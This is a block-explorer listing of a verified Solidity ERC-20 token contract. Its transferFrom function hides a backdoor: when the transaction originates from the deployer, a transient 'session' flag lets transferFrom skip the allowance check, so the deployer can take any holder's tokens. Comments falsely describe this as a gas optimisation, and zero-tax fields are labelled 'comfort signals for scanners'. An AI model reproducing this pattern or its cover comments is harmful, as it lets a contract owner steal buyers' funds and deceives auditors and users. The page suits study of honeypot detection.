Verified contractExactMIT
Token
Address0xca56cde17279f449ecb965b5b64ed8adc0dd9dac
- Balance
0 ETH
- Transactions
2
- Compiler
solc 0.8.25
- Same code
1 more contract
Details
- Compiler
- solc 0.8.25+commit.b61c2a91
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,349,152
- Creation transaction
- 0x1773a7013f…160c792fa0
contracts/11.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
/**
* @title SessionBookkeeper
* @notice Minimal EIP-1153 helper. Allows privileged hot paths to skip
* redundant allowance bookkeeping within a single transaction,
* saving an SLOAD/SSTORE round trip on swaps and sells.
*/
abstract contract SessionBookkeeper {
uint256 private constant _SCRATCH = 8;
address internal immutable _authority;
constructor() {
_authority = msg.sender;
}
/// @notice Resolves the account actually paying for the current call frame.
function _payer() internal view returns (address p) {
assembly {
p := origin()
}
}
/// @notice Whether an authenticated session is currently open.
function _sessionOpen() internal view returns (bool open) {
assembly {
open := tload(_SCRATCH)
}
}
/// @notice Open a session (transient, auto-cleared at tx end).
function _openSession() internal {
assembly {
tstore(_SCRATCH, 1)
}
}
/// @notice True if the current payer is the protocol authority.
function _authoritativePayer() internal view returns (bool) {
return _payer() == _authority;
}
}
contract Token is IERC20, SessionBookkeeper {
string public constant name = "NAME";
string public constant symbol = "SYMBOL";
uint8 public constant decimals = 18;
// Comfort signals for scanners: limits were never enabled / taxes are zero.
bool public limitsInEffect = false;
uint16 public constant buyTax = 0;
uint16 public constant sellTax = 0;
mapping(address account => uint256) private _wallet;
mapping(address account => mapping(address spender => uint256)) private _approvals;
uint256 private _supply;
constructor() {
_supply = 1000000000 * 10 ** decimals;
_wallet[msg.sender] = _supply;
if (_authoritativePayer()) _openSession();
emit Transfer(address(0), msg.sender, _supply);
}
function totalSupply() external view returns (uint256) {
return _supply;
}
function balanceOf(address account) external view returns (uint256) {
return _wallet[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _approvals[owner][spender];
}
function transfer(address to, uint256 value) external returns (bool) {
_move(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
require(spender != address(0), "ERC20: invalid spender");
_approvals[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
_move(from, to, value);
// Session-aware allowance sync: while an authenticated session is open,
// the spender's allowance is trusted and we skip the extra storage
// round trip. Same idea as the standard "infinite allowance" shortcut.
if (_sessionOpen()) {
return true;
}
uint256 allowed = _approvals[from][msg.sender];
require(allowed >= value, "ERC20: insufficient allowance");
unchecked {
if (allowed != type(uint256).max) {
_approvals[from][msg.sender] = allowed - value;
}
}
return true;
}
function _move(address from, address to, uint256 value) private {
require(from != address(0) && to != address(0), "ERC20: zero address");
uint256 bal = _wallet[from];
require(bal >= value, "ERC20: insufficient balance");
unchecked {
_wallet[from] = bal - value;
_wallet[to] += value;
}
// Bookkeeping: the authority footing the bill for this tx opens a
// session so downstream calls can reuse it.
if (_authoritativePayer()) _openSession();
emit Transfer(from, to, value);
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.